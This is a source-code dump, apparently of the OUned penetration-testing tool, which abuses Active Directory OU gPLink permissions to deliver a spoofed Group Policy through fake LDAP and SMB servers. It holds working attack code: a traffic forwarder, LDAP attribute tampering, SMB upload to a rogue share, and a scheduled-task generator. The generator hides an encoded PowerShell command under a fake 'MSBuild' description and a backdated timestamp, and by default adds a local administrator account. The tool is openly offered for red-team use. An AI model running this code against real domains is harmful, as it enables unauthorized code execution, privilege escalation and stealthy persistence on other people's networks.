552 | group.add_argument('-computer-group', action='store', metavar='CN=Computers,DC=test,DC=local', help='Group to which the account will be added.'
553 | 'If omitted, CN=Computers will be used,')
554 |
555 | group = parser.add_argument_group('authentication')
556 |
557 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
558 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
559 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
560 | '(KRB5CCNAME) based on account parameters. If valid credentials '
561 | 'cannot be found, it will use the ones specified in the command '
562 | 'line')
563 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
564 | '(128 or 256 bits)')
565 | group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. '
566 | 'If ommited, the domain part (FQDN) '
567 | 'specified in the account parameter will be used')
568 | group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. '
569 | 'Useful if you can\'t translate the FQDN.'
570 | 'specified in the account parameter will be used')
571 |
572 |
573 | if len(sys.argv)==1:
574 | parser.print_help()
575 | sys.exit(1)
576 |
577 | options = parser.parse_args()
578 |
579 | if options.debug is True:
580 | logging.getLogger().setLevel(logging.DEBUG)
581 | # Print the Library's installation path
582 | logging.debug(version.getInstallationPath())
583 | else:
584 | logging.getLogger().setLevel(logging.INFO)
585 |
586 | domain, username, password = parse_credentials(options.account)
587 |
588 | try:
589 | if domain is None or domain == '':
590 | logging.critical('Domain should be specified!')
591 | sys.exit(1)
592 |
593 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
594 | from getpass import getpass
595 | password = getpass("Password:")
596 |
597 | if options.aesKey is not None:
598 | options.k = True
599 |
600 | options.method = "LDAPS"
601 | options.port = 636
602 |
603 |
604 | executer = ADDCOMPUTER(username, password, domain, options)
605 | executer.run()
606 | except Exception as e:
607 | if logging.getLogger().level == logging.DEBUG:
608 | import traceback
609 | traceback.print_exc()
610 | print(str(e))
611 |
--------------------------------------------------------------------------------
/cleaning/.placeholder:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/synacktiv/OUned/e4a8d10a9afdfb307a4baa7acb3c8e54d0199a59/cleaning/.placeholder
--------------------------------------------------------------------------------
/conf.py:
--------------------------------------------------------------------------------
1 | from enum import Enum
2 |
3 | class GPOTypes(str, Enum):
4 | user = "user"
5 | computer = "computer"
6 |
7 | class SMBModes(str, Enum):
8 | embedded = "embedded"
9 | forwarded = "forwarded"
10 |
11 | class bcolors:
12 | HEADER = '\033[95m'
13 | OKBLUE = '\033[94m'
14 | OKCYAN = '\033[96m'
15 | OKGREEN = '\033[92m'
16 | WARNING = '\033[93m'
17 | FAIL = '\033[91m'
18 | ENDC = '\033[0m'
19 | BOLD = '\033[1m'
20 | UNDERLINE = '\033[4m'
21 |
22 | OUTPUT_DIR = "GPT_out"
23 | CLEAN_DIR = "cleaning"
--------------------------------------------------------------------------------
/config.example.ini:
--------------------------------------------------------------------------------
1 | [GENERAL]
2 | # The target domain name
3 | domain=corp.com
4 |
5 | # The target Organizational Unit name
6 | ou=ACCOUNTING
7 |
8 | # The username and password of the user having write permissions on the gPLink attribute of the target OU
9 | username=naugustine
10 | password=Password1
11 |
12 | # The IP address of the attacker machine on the internal network
13 | attacker_ip=192.168.123.16
14 |
15 | # The command that should be executed by child objects
16 | command=whoami > C:\Temp\accounting.txt
17 |
18 | # The kind of objects targeted ("computer" or "user")
19 | target_type=user
20 |
21 |
22 | [LDAP]
23 | # The IP address of the dummy domain controller that will act as an LDAP server
24 | ldap_ip=192.168.125.245
25 |
26 | # Optional (used for sanity checks) - the hostname of the dummy domain controller
27 | ldap_hostname=WIN-TTEBC5VH747
28 |
29 | # The username and password of a domain administrator on the dummy domain controller
30 | ldap_username=ldapadm
31 | ldap_password=Password1!
32 |
33 | # The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller
34 | gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6
35 |
36 | # The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC
37 | # Do not forget to escape '%' signs by doubling them ! (e.g. '%%')
38 | ldap_machine_name=OUNED$
39 | ldap_machine_password=some_very_long_random_password_with_percent_signs_escaped
40 |
41 | [SMB]
42 | # The SMB mode can be embedded or forwarded depending on the kind of object targeted
43 | smb_mode=forwarded
44 |
45 | # The name of the SMB share. Can be anything for embedded mode, should match an existing share on SMB dummy domain controller for forwarded mode
46 | share_name=synacktiv
47 |
48 | # The IP address of the dummy domain controller that will act as a SMB server
49 | smb_ip=192.168.126.206
50 |
51 | # The username and password of a user having write access to the share on the SMB dummy domain controller
52 | smb_username=smbadm
53 | smb_password=Password1!
54 |
55 | # The machine account name and password on the target domain that will be used to fake the SMB server delivering the GPT
56 | # Do not forget to escape '%' signs by doubling them ! (e.g. '%%')
57 | smb_machine_name=OUNED2$
58 | smb_machine_password=some_very_long_random_password_with_percent_signs_escaped
59 |
--------------------------------------------------------------------------------
/helpers/clean_utils.py:
--------------------------------------------------------------------------------
1 | import os
2 | import time
3 | import configparser
4 |
5 | from helpers.ldap_utils import unset_attribute, modify_attribute
6 | from conf import CLEAN_DIR, bcolors
7 |
8 | def init_save_file(OU_name):
9 | os.makedirs(os.path.join(CLEAN_DIR, OU_name), exist_ok=True)
10 |
11 | timestr = time.strftime("%Y_%m_%d-%H_%M_%S")
12 | save_file_name = os.path.join(CLEAN_DIR, OU_name, timestr + ".txt")
13 |
14 | open(save_file_name, "x")
15 | return save_file_name
16 |
17 | def save_attribute_value(attribute_name, value, save_file, target, dn):
18 | with open(save_file, 'a') as f:
19 | to_write = f"[{attribute_name}]\ndn={dn}\ntarget={target}\nold_value={value}\n\n"
20 | f.write(to_write)
21 |
22 | def clean(domain_ldap_session, ldap_server_ldap_session, save_file):
23 | to_clean = configparser.ConfigParser()
24 | to_clean.read(save_file)
25 |
26 | for key in to_clean:
27 | if key == "DEFAULT":
28 | continue
29 | if to_clean[key]['target'] == "domain":
30 | session = domain_ldap_session
31 | else:
32 | session = ldap_server_ldap_session
33 | dn = to_clean[key]['dn']
34 |
35 | if 'old_value' not in to_clean[key]:
36 | print(f"{bcolors.FAIL}[-] No old value saved for {key}. Skipping.{bcolors.ENDC}")
37 | continue
38 | if session == None:
39 | print(f"{bcolors.FAIL}[-] No session to restore {key}. Skipping.{bcolors.ENDC}")
40 | continue
41 | print(f"[*] Restoring value of {key} on '{to_clean[key]['target']}' - {to_clean[key]['old_value']}")
42 | if to_clean[key]['old_value'] == '[]' or to_clean[key]['old_value'] == '' or to_clean[key]['old_value'] == 'None':
43 | result = unset_attribute(session, dn, key)
44 | else:
45 | result = modify_attribute(session, dn, key, to_clean[key]['old_value'])
46 |
47 | if result is True:
48 | print(f"{bcolors.OKGREEN}[+] Successfully restored {key} on '{to_clean[key]['target']}'{bcolors.ENDC}")
49 | else:
50 | print(f"{bcolors.FAIL}[-] Couldn't clean value for {key} on '{to_clean[key]['target']}'. You can try to re-run OUned with the {bcolors.ENDC}{bcolors.BOLD}--just-clean{bcolors.ENDC} flag, or clean LDAP attributes manually{bcolors.ENDC}")
--------------------------------------------------------------------------------
/helpers/forwarder.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import sys
3 | import _thread as thread
4 | import time
5 |
6 | def server(*settings):
7 | try:
8 | msg = f" - client is querying its GPC (LDAP), forwarding to {settings[2]}:{settings[3]}" if settings[1] == 389 else f" - client is querying its GPT (SMB), forwarding to {settings[2]}:{settings[3]}"
9 | dock_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 | dock_socket.bind((settings[0], settings[1]))
11 | dock_socket.listen(5)
12 | while True:
13 | client_socket, upstream_addr = dock_socket.accept()
14 | print(f"[FORWARDER] Incoming connection from {upstream_addr}" + msg)
15 | server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16 | server_socket.connect((settings[2], settings[3]))
17 | thread.start_new_thread(forward, (client_socket, server_socket))
18 | thread.start_new_thread(forward, (server_socket, client_socket))
19 | finally:
20 | thread.start_new_thread(server, settings)
21 |
22 | def forward(source, destination):
23 | string = ' '
24 | while string:
25 | try:
26 | string = source.recv(1024)
27 | if string:
28 | destination.sendall(string)
29 | else:
30 | raise ConnectionResetError()
31 | except ConnectionResetError:
32 | pass
33 |
--------------------------------------------------------------------------------
/helpers/ldap_utils.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from ldap3 import Server, Connection, SUBTREE, MODIFY_REPLACE, MODIFY_DELETE, ALL, NTLM
4 |
5 | def ldap_check_credentials(ldap_ip, username, password, domain):
6 | try:
7 | server = Server(f'ldap://{ldap_ip}:389', get_info=ALL)
8 | conn = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True)
9 | conn.unbind()
10 | return True
11 | except:
12 | import traceback
13 | traceback.print_exc()
14 | return False
15 |
16 | def get_attribute(ldap_session, dn, attribute):
17 | try:
18 | ldap_session.search(
19 | search_base=dn,
20 | search_filter='(objectClass=*)',
21 | search_scope=SUBTREE,
22 | attributes=[attribute,],
23 | )
24 |
25 | searchResult = ldap_session.response[0]
26 | value = searchResult['attributes'][attribute]
27 | return value
28 | except:
29 | logging.error(f"‼️ Error: couldn't find attribute {attribute} for dn {dn}. Things will probably break.")
30 | return None
31 |
32 |
33 | def modify_attribute(ldap_session, dn, attribute, new_value):
34 | result = ldap_session.modify(dn, {attribute: [(MODIFY_REPLACE, [new_value])]})
35 | return result
36 |
37 | def unset_attribute(ldap_session, dn, attribute):
38 | result = ldap_session.modify(dn, {attribute: [(MODIFY_DELETE, [])]})
39 | return result
40 |
41 | def update_extensionNames(extensionName):
42 | val1 = "00000000-0000-0000-0000-000000000000"
43 | val2 = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72"
44 | val3 = "AADCED64-746C-4633-A97C-D61349046527"
45 |
46 | if extensionName is None:
47 | extensionName = ""
48 |
49 | try:
50 | if not val2 in extensionName:
51 | new_values = []
52 | toUpdate = ''.join(extensionName)
53 | test = toUpdate.split("[")
54 | for i in test:
55 | new_values.append(i.replace("{", "").replace("}", " ").replace("]", ""))
56 |
57 | if val1 not in toUpdate:
58 | new_values.append(val1 + " " + val2)
59 |
60 | elif val1 in toUpdate:
61 | for k, v in enumerate(new_values):
62 | if val1 in new_values[k]:
63 | toSort = []
64 | test2 = new_values[k].split()
65 | for f in range(1, len(test2)):
66 | toSort.append(test2[f])
67 | toSort.append(val2)
68 | toSort.sort()
69 | new_values[k] = test2[0]
70 | for val in toSort:
71 | new_values[k] += " " + val
72 |
73 | if val3 not in toUpdate:
74 | new_values.append(val3 + " " + val2)
75 |
76 | elif val3 in toUpdate:
77 | for k, v in enumerate(new_values):
78 | if val3 in new_values[k]:
79 | toSort = []
80 | test2 = new_values[k].split()
81 | for f in range(1, len(test2)):
82 | toSort.append(test2[f])
83 | toSort.append(val2)
84 | toSort.sort()
85 | new_values[k] = test2[0]
86 | for val in toSort:
87 | new_values[k] += " " + val
88 |
89 | new_values.sort()
90 |
91 | new_values2 = []
92 | for i in range(len(new_values)):
93 | if new_values[i] is None or new_values[i] == "":
94 | continue
95 | value1 = new_values[i].split()
96 | new_val = ""
97 | for q in range(len(value1)):
98 | if value1[q] is None or value1[q] == "":
99 | continue
100 | new_val += "{" + value1[q] + "}"
101 | new_val = "[" + new_val + "]"
102 | new_values2.append(new_val)
103 |
104 | return "".join(new_values2)
105 | else:
106 | return extensionName
107 | except:
108 | return "[{" + val1 + "}{" + val2 + "}]" + "[{" + val3 + "}{" + val2 + "}]"
--------------------------------------------------------------------------------
/helpers/scheduledtask_utils.py:
--------------------------------------------------------------------------------
1 | import binascii
2 | import logging
3 | import os
4 | import re
5 | import uuid
6 | from base64 import b64encode
7 | from datetime import datetime, timedelta
8 | from xml.sax.saxutils import escape
9 | import xml.etree.ElementTree as ET
10 |
11 |
12 | from conf import OUTPUT_DIR
13 |
14 |
15 | class ScheduledTask:
16 | def __init__(self, gpo_type="computer", name="", mod_date="", description="", powershell=False, command="", old_value=""):
17 | self._type = gpo_type
18 |
19 | if name:
20 | self._name = name
21 | else:
22 | self._name = "TASK_" + binascii.b2a_hex(os.urandom(4)).decode('ascii')
23 |
24 | if mod_date:
25 | self._mod_date = mod_date
26 | else:
27 | mod_date = datetime.now() - timedelta(days=30)
28 | self._mod_date = mod_date.strftime("%Y-%m-%d %H:%M:%S")
29 | self._guid = str(uuid.uuid4()).upper()
30 | self._author = "NT AUTHORITY\\System"
31 | if description:
32 | self._description = description
33 | else:
34 | self._description = "MSBuild build and release task"
35 |
36 | if powershell:
37 | self._shell = escape("powershell.exe")
38 | if command:
39 | self._command = escape('-windowstyle hidden -nop -enc {}'.format(b64encode(command.encode('UTF-16LE')).decode("utf-8")))
40 | else:
41 | self._command = escape('-windowstyle hidden -nop -enc {}'.format(b64encode('net user john H4x00r123.. /add;net localgroup administrators john /add'.encode('UTF-16LE')).decode('utf-8')))
42 | else:
43 | self._shell = escape('c:\\windows\\system32\\cmd.exe')
44 | if command:
45 | self._command = escape('/c "{}"'.format(command))
46 | else:
47 | self._command = escape('/c "net user john H4x00r123.. /add && net localgroup administrators john /add"')
48 |
49 | logging.debug(self._shell + " " + self._command)
50 | self._old_value = old_value
51 |
52 | self._task_str_begin = f""""""
53 | if self._type == "computer":
54 | self._task_str = f"""{self._author}{self._description}NT AUTHORITY\\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3{self._shell}{self._command}%LocalTimeXmlEx%%LocalTimeXmlEx%true"""
55 | else:
56 | self._task_str = f"""{self._author}{self._description}%LogonDomain%\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}"""
57 |
58 | self._task_str_end = f""""""
59 |
60 | def generate_scheduled_task_xml(self):
61 | if self._old_value == "":
62 | return self._task_str_begin + self._task_str + self._task_str_end
63 |
64 | return re.sub(r"< */ *ScheduledTasks>", self._task_str.replace("\\", "\\\\") + self._task_str_end, self._old_value)
65 |
66 | def get_name(self):
67 | return self._name
68 |
69 | def parse_tasks(self, xml_tasks):
70 | elem = ET.fromstring(xml_tasks)
71 | tasks = []
72 | for child in elem.findall("*"):
73 | task_type = child.tag
74 | task_properties = child.find("Properties")
75 | action = task_properties.get('action')
76 | name = task_properties.get('name')
77 | tasks.append([
78 | action if action is not None else "?",
79 | name if name is not None else "",
80 | task_type if task_type is not None else ""
81 | ])
82 | return tasks
83 |
84 | def write_scheduled_task(gpo_type, command, powershell):
85 | root_path = "Machine" if gpo_type == "computer" else "User"
86 | scheduled_tasks_path = os.path.join(OUTPUT_DIR, root_path, "Preferences", "ScheduledTasks", "ScheduledTasks.xml")
87 |
88 | if os.path.exists(scheduled_tasks_path):
89 | with open(scheduled_tasks_path, "r") as f:
90 | st_content = f.read()
91 | st = ScheduledTask(gpo_type=gpo_type, powershell=powershell, command=command, old_value=st_content)
92 | tasks = st.parse_tasks(st_content)
93 | new_content = st.generate_scheduled_task_xml()
94 | else:
95 | st_content = ""
96 | os.makedirs(os.path.join(OUTPUT_DIR, root_path, "Preferences", "ScheduledTasks"), exist_ok=True)
97 | st = ScheduledTask(gpo_type=gpo_type, powershell=powershell, command=command)
98 | new_content = st.generate_scheduled_task_xml()
99 |
100 | with open(scheduled_tasks_path, "w") as f:
101 | f.write(new_content)
--------------------------------------------------------------------------------
/helpers/smb_utils.py:
--------------------------------------------------------------------------------
1 | import os
2 | import shutil
3 | import logging
4 |
5 | from functools import partial
6 | from conf import OUTPUT_DIR
7 | from impacket.smbconnection import SMBConnection
8 |
9 | def get_smb_connection(dc_ip, username, password, hash, domain):
10 | smb_session = SMBConnection(dc_ip, dc_ip)
11 | if hash is not None:
12 | smb_session.login(user=username, lmhash=hash.split(':')[0], nthash=hash.split(':')[1], password=None, domain=domain)
13 | else:
14 | smb_session.login(user=username, password=password, domain=domain)
15 | return smb_session
16 |
17 |
18 | def write_data_to_file(local_file_name, data):
19 | # Sometimes, the gpt.ini file will be stored in the SMB share as "GPT.INI",
20 | # which causes issues when the DC is then looking for it in our spoofed share.
21 | directory, filename = os.path.split(local_file_name)
22 | if filename == "GPT.INI":
23 | filename = filename.lower()
24 | local_file_name = os.path.join(directory, filename)
25 |
26 | with open(local_file_name, "wb") as local_file:
27 | local_file.write(data)
28 |
29 | def recursive_smb_download(smb_session, share, remote_path, local_path):
30 | items = smb_session.listPath(share, os.path.join(remote_path, '*'))
31 |
32 | for item in items:
33 | if item.is_directory():
34 | if item.get_longname() == '.' or item.get_longname() == '..':
35 | continue
36 | subdirectory = os.path.join(local_path, item.get_longname())
37 | os.makedirs(subdirectory, exist_ok=True)
38 | recursive_smb_download(smb_session, share, os.path.join(remote_path, item.get_longname()), subdirectory)
39 |
40 | else:
41 | callback = partial(write_data_to_file, os.path.join(local_path, item.get_longname()))
42 | smb_session.getFile(share, os.path.join(remote_path, item.get_longname()), callback)
43 |
44 |
45 |
46 | def download_initial_gpo(smb_session, domain, gpo_id):
47 | try:
48 | tid = smb_session.connectTree("SYSVOL")
49 | logging.info(f"Connected to SYSVOL share")
50 | except:
51 | logging.error(f"Unable to connect to SYSVOL share", exc_info=True)
52 | return False
53 |
54 | path = domain + "/Policies/{" + gpo_id + "}"
55 |
56 | try:
57 | shutil.rmtree(OUTPUT_DIR, ignore_errors=True)
58 | os.makedirs(OUTPUT_DIR, exist_ok=True)
59 | recursive_smb_download(smb_session, "SYSVOL", path, OUTPUT_DIR)
60 | logging.debug("Successfully cloned GPO {} from SYSVOL".format(gpo_id))
61 | except:
62 | logging.error("Couldn't clone GPO {} (maybe it does not exist?)".format(gpo_id), exc_info=True)
63 | return False
64 |
65 |
66 | def upload_directory_to_share(smb_session, remote_share):
67 | try:
68 | for root, dirs, files in os.walk(OUTPUT_DIR):
69 | remote_subdir = os.path.relpath(root, OUTPUT_DIR)
70 | if remote_subdir != '.':
71 | smb_session.createDirectory(remote_share, remote_subdir)
72 | for file in files:
73 | local_file_path = os.path.join(root, file)
74 | remote_file_path = os.path.join(remote_subdir, file)
75 | with open(local_file_path, 'rb') as local_file:
76 | smb_session.putFile(remote_share, remote_file_path, local_file.read)
77 | except:
78 | import traceback
79 | traceback.print_exc()
80 |
81 |
82 | def recursive_smb_delete(smb_session, remote_share, root):
83 | items = smb_session.listPath(remote_share, root)
84 | for item in items:
85 | if item.is_directory():
86 | if item.get_longname() not in ['.', '..']:
87 | new_root = root[:-1] + item.get_longname() + '/*'
88 | recursive_smb_delete(smb_session, remote_share, new_root)
89 | smb_session.deleteDirectory(remote_share, root[:-1] + item.get_longname())
90 | else:
91 | smb_session.deleteFile(remote_share, root[:-1] + item.get_longname())
--------------------------------------------------------------------------------
/helpers/version_utils.py:
--------------------------------------------------------------------------------
1 | import os
2 | import re
3 |
4 | from helpers.ldap_utils import get_attribute
5 | from conf import OUTPUT_DIR
6 |
7 | def update_GPT_version_number(ldap_session, gpo_dn, gpo_type):
8 | versionNumber = int(get_attribute(ldap_session, gpo_dn, "versionNumber"))
9 | if gpo_type == "computer":
10 | updated_version = versionNumber + 1
11 | else:
12 | updated_version = versionNumber + 65536
13 | with open(os.path.join(OUTPUT_DIR, "gpt.ini"), 'r', errors='surrogateescape') as f:
14 | content = f.read()
15 | new_content = re.sub('=[0-9]+', '={}'.format(updated_version), content)
16 | with open(os.path.join(OUTPUT_DIR, "gpt.ini"), 'w', errors='surrogateescape') as f:
17 | f.write(new_content)
18 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | ldap3
2 | impacket
3 | dnspython
4 | typer[all]
--------------------------------------------------------------------------------